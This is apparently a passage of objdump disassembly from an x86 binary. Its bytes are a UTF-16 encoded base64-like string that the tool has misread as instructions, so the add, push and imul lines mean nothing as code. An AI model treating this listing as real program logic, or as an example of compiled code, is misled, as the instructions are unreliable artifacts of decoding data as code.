41f788:	00 49 00             	add    %cl,0x0(%ecx)
41f78b:	33 00                	xor    (%eax),%eax
41f78d:	4a                   	dec    %edx
41f78e:	00 79 00             	add    %bh,0x0(%ecx)
41f791:	79 00                	jns    0x41f793
41f793:	43                   	inc    %ebx
41f794:	00 49 00             	add    %cl,0x0(%ecx)
41f797:	55                   	push   %ebp
41f798:	00 79 00             	add    %bh,0x0(%ecx)
41f79b:	51                   	push   %ecx
41f79c:	00 32                	add    %dh,(%edx)
41f79e:	00 33                	add    %dh,(%ebx)
41f7a0:	00 65 00             	add    %ah,0x0(%ebp)
41f7a3:	56                   	push   %esi
41f7a4:	00 36                	add    %dh,(%esi)
41f7a6:	00 45 00             	add    %al,0x0(%ebp)
41f7a9:	4a                   	dec    %edx
41f7aa:	00 62 00             	add    %ah,0x0(%edx)
41f7ad:	58                   	pop    %eax
41f7ae:	00 2b                	add    %ch,(%ebx)
41f7b0:	00 35 00 42 00 34    	add    %dh,0x34004200
41f7b6:	00 35 00 55 00 47    	add    %dh,0x47005500
41f7bc:	00 38                	add    %bh,(%eax)
41f7be:	00 67 00             	add    %ah,0x0(%edi)
41f7c1:	44                   	inc    %esp
41f7c2:	00 6c 00 55          	add    %ch,0x55(%eax,%eax,1)
41f7c6:	00 79 00             	add    %bh,0x0(%ecx)
41f7c9:	7a 00                	jp     0x41f7cb
41f7cb:	51                   	push   %ecx
41f7cc:	00 69 00             	add    %ch,0x0(%ecx)
41f7cf:	49                   	dec    %ecx
41f7d0:	00 41 00             	add    %al,0x0(%ecx)
41f7d3:	72 00                	jb     0x41f7d5
41f7d5:	75 00                	jne    0x41f7d7
41f7d7:	4c                   	dec    %esp
41f7d8:	00 71 00             	add    %dh,0x0(%ecx)
41f7db:	37                   	aaa
41f7dc:	00 62 00             	add    %ah,0x0(%edx)
41f7df:	4b                   	dec    %ebx
41f7e0:	00 37                	add    %dh,(%edi)
41f7e2:	00 31                	add    %dh,(%ecx)
41f7e4:	00 65 00             	add    %ah,0x0(%ebp)
41f7e7:	38 00                	cmp    %al,(%eax)
41f7e9:	62 00                	bound  %eax,(%eax)
41f7eb:	6b 00 75             	imul   $0x75,(%eax),%eax
41f7ee:	00 56 00             	add    %dl,0x0(%esi)
41f7f1:	39 00                	cmp    %eax,(%eax)
41f7f3:	68 00 46 00 7a       	push   $0x7a004600
41f7f8:	00 59 00             	add    %bl,0x0(%ecx)
41f7fb:	58                   	pop    %eax
41f7fc:	00 42 00             	add    %al,0x0(%edx)
41f7ff:	47                   	inc    %edi
41f800:	00 6e 00             	add    %ch,0x0(%esi)
41f803:	36 00 55 00          	add    %dl,%ss:0x0(%ebp)
41f807:	4d                   	dec    %ebp
41f808:	00 30                	add    %dh,(%eax)
41f80a:	00 69 00             	add    %ch,0x0(%ecx)
41f80d:	44                   	inc    %esp
41f80e:	00 58 00             	add    %bl,0x0(%eax)
41f811:	54                   	push   %esp
41f812:	00 66 00             	add    %ah,0x0(%esi)
41f815:	59                   	pop    %ecx
41f816:	00 51 00             	add    %dl,0x0(%ecx)
41f819:	48                   	dec    %eax
41f81a:	00 6f 00             	add    %ch,0x0(%edi)
41f81d:	45                   	inc    %ebp
41f81e:	00 56 00             	add    %dl,0x0(%esi)
41f821:	61                   	popa
41f822:	00 51 00             	add    %dl,0x0(%ecx)
41f825:	69 00 61 00 4f 00    	imul   $0x4f0061,(%eax),%eax
41f82b:	38 00                	cmp    %al,(%eax)
41f82d:	65 00 2b             	add    %ch,%gs:(%ebx)
41f830:	00 53 00             	add    %dl,0x0(%ebx)
41f833:	37                   	aaa
41f834:	00 46 00             	add    %al,0x0(%esi)
41f837:	69 00 42 00 54 00    	imul   $0x540042,(%eax),%eax
41f83d:	34 00                	xor    $0x0,%al
41f83f:	42                   	inc    %edx
41f840:	00 53 00             	add    %dl,0x0(%ebx)
41f843:	72 00                	jb     0x41f845
41f845:	50                   	push   %eax
41f846:	00 58 00             	add    %bl,0x0(%eax)
41f849:	4d                   	dec    %ebp
41f84a:	00 76 00             	add    %dh,0x0(%esi)
41f84d:	55                   	push   %ebp
41f84e:	00 53 00             	add    %dl,0x0(%ebx)
41f851:	6f                   	outsl  %ds:(%esi),(%dx)
41f852:	00 2b                	add    %ch,(%ebx)
41f854:	00 31                	add    %dh,(%ecx)
41f856:	00 74 00 33          	add    %dh,0x33(%eax,%eax,1)
41f85a:	00 72 00             	add    %dh,0x0(%edx)
41f85d:	56                   	push   %esi
41f85e:	00 57 00             	add    %dl,0x0(%edi)
41f861:	50                   	push   %eax
41f862:	00 30                	add    %dh,(%eax)
41f864:	00 77 00             	add    %dh,0x0(%edi)
41f867:	57                   	push   %edi
41f868:	00 66 00             	add    %ah,0x0(%esi)
41f86b:	66 00 30             	data16 add %dh,(%eax)
41f86e:	00 44 00 6c          	add    %al,0x6c(%eax,%eax,1)
41f872:	00 6b 00             	add    %ch,0x0(%ebx)
41f875:	65 00 62 00          	add    %ah,%gs:0x0(%edx)
41f879:	6a 00                	push   $0x0
41f87b:	63 00                	arpl   %eax,(%eax)
41f87d:	46                   	inc    %esi
41f87e:	00 45 00             	add    %al,0x0(%ebp)
41f881:	6a 00                	push   $0x0
41f883:	74 00                	je     0x41f885
41f885:	54                   	push   %esp
41f886:	00 58 00             	add    %bl,0x0(%eax)
41f889:	49                   	dec    %ecx
41f88a:	00 6c 00 6c          	add    %ch,0x6c(%eax,%eax,1)
41f88e:	00 6f 00             	add    %ch,0x0(%edi)
41f891:	55                   	push   %ebp
41f892:	00 4b 00             	add    %cl,0x0(%ebx)
41f895:	64 00 35 00 4e 00 5a 	add    %dh,%fs:0x5a004e00
41f89c:	00 44 00 36          	add    %al,0x36(%eax,%eax,1)
41f8a0:	00 37                	add    %dh,(%edi)
41f8a2:	00 52 00             	add    %dl,0x0(%edx)
41f8a5:	38 00                	cmp    %al,(%eax)
41f8a7:	54                   	push   %esp
41f8a8:	00 4d 00             	add    %cl,0x0(%ebp)
41f8ab:	6c                   	insb   (%dx),%es:(%edi)
41f8ac:	00 6e 00             	add    %ch,0x0(%esi)
41f8af:	47                   	inc    %edi
41f8b0:	00 43 00             	add    %al,0x0(%ebx)
41f8b3:	32 00                	xor    (%eax),%al
41f8b5:	73 00                	jae    0x41f8b7
41f8b7:	47                   	inc    %edi
41f8b8:	00 7a 00             	add    %bh,0x0(%edx)
41f8bb:	39 00                	cmp    %eax,(%eax)
41f8bd:	42                   	inc    %edx
41f8be:	00 4f 00             	add    %cl,0x0(%edi)
41f8c1:	4b                   	dec    %ebx
41f8c2:	00 6a 00             	add    %ch,0x0(%edx)
41f8c5:	57                   	push   %edi
41f8c6:	00 72 00             	add    %dh,0x0(%edx)
41f8c9:	70 00                	jo     0x41f8cb
41f8cb:	68 00 45 00 65       	push   $0x65004500
41f8d0:	00 71 00             	add    %dh,0x0(%ecx)
41f8d3:	46                   	inc    %esi
41f8d4:	00 4f 00             	add    %cl,0x0(%edi)
41f8d7:	67 00 66 00          	add    %ah,0x0(%bp)
41f8db:	4f                   	dec    %edi
41f8dc:	00 57 00             	add    %dl,0x0(%edi)
41f8df:	38 00                	cmp    %al,(%eax)
41f8e1:	6f                   	outsl  %ds:(%esi),(%dx)
41f8e2:	00 66 00             	add    %ah,0x0(%esi)
41f8e5:	62 00                	bound  %eax,(%eax)
41f8e7:	6a 00                	push   $0x0
41f8e9:	6f                   	outsl  %ds:(%esi),(%dx)
41f8ea:	00 76 00             	add    %dh,0x0(%esi)
41f8ed:	61                   	popa
41f8ee:	00 6e 00             	add    %ch,0x0(%esi)
41f8f1:	36 00 2f             	add    %ch,%ss:(%edi)
41f8f4:	00 4e 00             	add    %cl,0x0(%esi)
41f8f7:	32 00                	xor    (%eax),%al
41f8f9:	71 00                	jno    0x41f8fb
41f8fb:	66 00 30             	data16 add %dh,(%eax)
41f8fe:	00 53 00             	add    %dl,0x0(%ebx)
41f901:	48                   	dec    %eax
41f902:	00 4d 00             	add    %cl,0x0(%ebp)
41f905:	50                   	push   %eax
41f906:	00 32                	add    %dh,(%edx)
41f908:	00 6f 00             	add    %ch,0x0(%edi)
41f90b:	77 00                	ja     0x41f90d
41f90d:	75 00                	jne    0x41f90f
41f90f:	6e                   	outsb  %ds:(%esi),(%dx)
41f910:	00 54 00 5a          	add    %dl,0x5a(%eax,%eax,1)
41f914:	00 6f 00             	add    %ch,0x0(%edi)
41f917:	68 00 34 00 31       	push   $0x31003400
41f91c:	00 50 00             	add    %dl,0x0(%eax)
41f91f:	71 00                	jno    0x41f921
41f921:	61                   	popa
41f922:	00 50 00             	add    %dl,0x0(%eax)
41f925:	56                   	push   %esi
41f926:	00 6d 00             	add    %ch,0x0(%ebp)
41f929:	6e                   	outsb  %ds:(%esi),(%dx)
41f92a:	00 6c 00 79          	add    %ch,0x79(%eax,%eax,1)
41f92e:	00 56 00             	add    %dl,0x0(%esi)
41f931:	67 00 6b 00          	add    %ch,0x0(%bp,%di)
41f935:	77 00                	ja     0x41f937
41f937:	6f                   	outsl  %ds:(%esi),(%dx)
41f938:	00 50 00             	add    %dl,0x0(%eax)
41f93b:	36 00 6a 00          	add    %ch,%ss:0x0(%edx)
41f93f:	75 00                	jne    0x41f941
41f941:	71 00                	jno    0x41f943
41f943:	68 00 52 00 64       	push   $0x64005200
41f948:	00 4a 00             	add    %cl,0x0(%edx)
41f94b:	67 00 58 00          	add    %bl,0x0(%bx,%si)
41f94f:	35 00 45 00 2b       	xor    $0x2b004500,%eax
41f954:	00 43 00             	add    %al,0x0(%ebx)
41f957:	33 00                	xor    (%eax),%eax
41f959:	35 00 51 00 77       	xor    $0x77005100,%eax
41f95e:	00 57 00             	add    %dl,0x0(%edi)
41f961:	45                   	inc    %ebp
41f962:	00 44 00 62          	add    %al,0x62(%eax,%eax,1)
41f966:	00 4d 00             	add    %cl,0x0(%ebp)
41f969:	59                   	pop    %ecx
41f96a:	00 79 00             	add    %bh,0x0(%ecx)
41f96d:	52                   	push   %edx
41f96e:	00 4d 00             	add    %cl,0x0(%ebp)
41f971:	4c                   	dec    %esp
41f972:	00 58 00             	add    %bl,0x0(%eax)
41f975:	57                   	push   %edi
41f976:	00 73 00             	add    %dh,0x0(%ebx)
41f979:	67 00 68 00          	add    %ch,0x0(%bx,%si)
41f97d:	37                   	aaa
41f97e:	00 57 00             	add    %dl,0x0(%edi)
41f981:	41                   	inc    %ecx
41f982:	00 6c 00 4b          	add    %ch,0x4b(%eax,%eax,1)
41f986:	00 4e 00             	add    %cl,0x0(%esi)
41f989:	50                   	push   %eax
41f98a:	00 73 00             	add    %dh,0x0(%ebx)
41f98d:	57                   	push   %edi
41f98e:	00 6a 00             	add    %ch,0x0(%edx)
41f991:	4e                   	dec    %esi
41f992:	00 42 00             	add    %al,0x0(%edx)
41f995:	66 00 49 00          	data16 add %cl,0x0(%ecx)
41f999:	4f                   	dec    %edi
41f99a:	00 43 00             	add    %al,0x0(%ebx)
41f99d:	32 00                	xor    (%eax),%al
41f99f:	59                   	pop    %ecx
41f9a0:	00 4c 00 49          	add    %cl,0x49(%eax,%eax,1)
41f9a4:	00 6a 00             	add    %ch,0x0(%edx)
41f9a7:	37                   	aaa
41f9a8:	00 38                	add    %bh,(%eax)
41f9aa:	00 63 00             	add    %ah,0x0(%ebx)
41f9ad:	4b                   	dec    %ebx
41f9ae:	00 35 00 70 00 51    	add    %dh,0x51007000
41f9b4:	00 64 00 79          	add    %ah,0x79(%eax,%eax,1)
41f9b8:	00 73 00             	add    %dh,0x0(%ebx)
41f9bb:	77 00                	ja     0x41f9bd
41f9bd:	6d                   	insl   (%dx),%es:(%edi)
41f9be:	00 64 00 62          	add    %ah,0x62(%eax,%eax,1)
41f9c2:	00 4b 00             	add    %cl,0x0(%ebx)
41f9c5:	69 00 4e 00 32 00    	imul   $0x32004e,(%eax),%eax
41f9cb:	34 00                	xor    $0x0,%al
41f9cd:	46                   	inc    %esi
41f9ce:	00 5a 00             	add    %bl,0x0(%edx)
41f9d1:	71 00                	jno    0x41f9d3
41f9d3:	4d                   	dec    %ebp
41f9d4:	00 33                	add    %dh,(%ebx)
41f9d6:	00 6d 00             	add    %ch,0x0(%ebp)
41f9d9:	69 00 59 00 6a 00    	imul   $0x6a0059,(%eax),%eax
41f9df:	4e                   	dec    %esi
41f9e0:	00 65 00             	add    %ah,0x0(%ebp)
41f9e3:	52                   	push   %edx
41f9e4:	00 6d 00             	add    %ch,0x0(%ebp)
41f9e7:	4b                   	dec    %ebx
41f9e8:	00 7a 00             	add    %bh,0x0(%edx)
41f9eb:	74 00                	je     0x41f9ed
41f9ed:	70 00                	jo     0x41f9ef
41f9ef:	49                   	dec    %ecx
41f9f0:	00 32                	add    %dh,(%edx)
41f9f2:	00 59 00             	add    %bl,0x0(%ecx)
41f9f5:	6a 00                	push   $0x0
41f9f7:	58                   	pop    %eax
41f9f8:	00 6b 00             	add    %ch,0x0(%ebx)
41f9fb:	70 00                	jo     0x41f9fd
41f9fd:	79 00                	jns    0x41f9ff
41f9ff:	63 00                	arpl   %eax,(%eax)
41fa01:	62 00                	bound  %eax,(%eax)
41fa03:	4b                   	dec    %ebx
41fa04:	00 69 00             	add    %ch,0x0(%ecx)
41fa07:	4e                   	dec    %esi
41fa08:	00 32                	add    %dh,(%edx)
41fa0a:	00 34 00             	add    %dh,(%eax,%eax,1)
41fa0d:	46                   	inc    %esi
41fa0e:	00 5a 00             	add    %bl,0x0(%edx)
41fa11:	71 00                	jno    0x41fa13
41fa13:	4d                   	dec    %ebp
41fa14:	00 33                	add    %dh,(%ebx)
41fa16:	00 6d 00             	add    %ch,0x0(%ebp)
41fa19:	69 00 59 00 6a 00    	imul   $0x6a0059,(%eax),%eax
41fa1f:	4e                   	dec    %esi
41fa20:	00 65 00             	add    %ah,0x0(%ebp)
41fa23:	52                   	push   %edx
41fa24:	00 6d 00             	add    %ch,0x0(%ebp)
41fa27:	4b                   	dec    %ebx
41fa28:	00 7a 00             	add    %bh,0x0(%edx)
41fa2b:	74 00                	je     0x41fa2d
41fa2d:	70 00                	jo     0x41fa2f
41fa2f:	49                   	dec    %ecx
41fa30:	00 32                	add    %dh,(%edx)
41fa32:	00 59 00             	add    %bl,0x0(%ecx)
41fa35:	6a 00                	push   $0x0
41fa37:	58                   	pop    %eax
41fa38:	00 6b 00             	add    %ch,0x0(%ebx)
41fa3b:	70 00                	jo     0x41fa3d
41fa3d:	79 00                	jns    0x41fa3f
41fa3f:	63 00                	arpl   %eax,(%eax)
41fa41:	71 00                	jno    0x41fa43
41fa43:	61                   	popa
41fa44:	00 39                	add    %bh,(%ecx)
41fa46:	00 4d 00             	add    %cl,0x0(%ebp)
41fa49:	46                   	inc    %esi
41fa4a:	00 66 00             	add    %ah,0x0(%esi)
41fa4d:	79 00                	jns    0x41fa4f
41fa4f:	62 00                	bound  %eax,(%eax)
41fa51:	72 00                	jb     0x41fa53
41fa53:	6b 00 42             	imul   $0x42,(%eax),%eax
41fa56:	00 7a 00             	add    %bh,0x0(%edx)
41fa59:	4b                   	dec    %ebx
41fa5a:	00 6d 00             	add    %ch,0x0(%ebp)
41fa5d:	39 00                	cmp    %eax,(%eax)
41fa5f:	33 00                	xor    (%eax),%eax
41fa61:	76 00                	jbe    0x41fa63
41fa63:	45                   	inc    %ebp
41fa64:	00 65 00             	add    %ah,0x0(%ebp)
41fa67:	5a                   	pop    %edx
41fa68:	00 37                	add    %dh,(%edi)
41fa6a:	00 66 00             	add    %ah,0x0(%esi)
41fa6d:	74 00                	je     0x41fa6f
41fa6f:	44                   	inc    %esp
41fa70:	00 36                	add    %dh,(%esi)
41fa72:	00 78 00             	add    %bh,0x0(%eax)
41fa75:	6b 00 64             	imul   $0x64,(%eax),%eax
41fa78:	00 38                	add    %bh,(%eax)
41fa7a:	00 69 00             	add    %ch,0x0(%ecx)
41fa7d:	71 00                	jno    0x41fa7f
41fa7f:	70 00                	jo     0x41fa81
41fa81:	6d                   	insl   (%dx),%es:(%edi)
41fa82:	00 57 00             	add    %dl,0x0(%edi)
41fa85:	6e                   	outsb  %ds:(%esi),(%dx)
41fa86:	00 6f 00             	add    %ch,0x0(%edi)
41fa89:	67 00 2f             	add    %ch,(%bx)
41fa8c:	00 6d 00             	add    %ch,0x0(%ebp)
41fa8f:	7a 00                	jp     0x41fa91
41fa91:	66 00 32             	data16 add %dh,(%edx)
41fa94:	00 75 00             	add    %dh,0x0(%ebp)
41fa97:	66 00 6e 00          	data16 add %ch,0x0(%esi)
41fa9b:	78 00                	js     0x41fa9d
41fa9d:	32 00                	xor    (%eax),%al
41fa9f:	63 00                	arpl   %eax,(%eax)
41faa1:	61                   	popa
41faa2:	00 5a 00             	add    %bl,0x0(%edx)
41faa5:	4e                   	dec    %esi
41faa6:	00 71 00             	add    %dh,0x0(%ecx)
41faa9:	4e                   	dec    %esi
41faaa:	00 76 00             	add    %dh,0x0(%esi)
41faad:	4f                   	dec    %edi
41faae:	00 2f                	add    %ch,(%edi)
41fab0:	00 36                	add    %dh,(%esi)
41fab2:	00 52 00             	add    %dl,0x0(%edx)
41fab5:	47                   	inc    %edi
41fab6:	00 4b 00             	add    %cl,0x0(%ebx)
41fab9:	4e                   	dec    %esi
41faba:	00 6c 00 6e          	add    %ch,0x6e(%eax,%eax,1)
41fabe:	00 4d 00             	add    %cl,0x0(%ebp)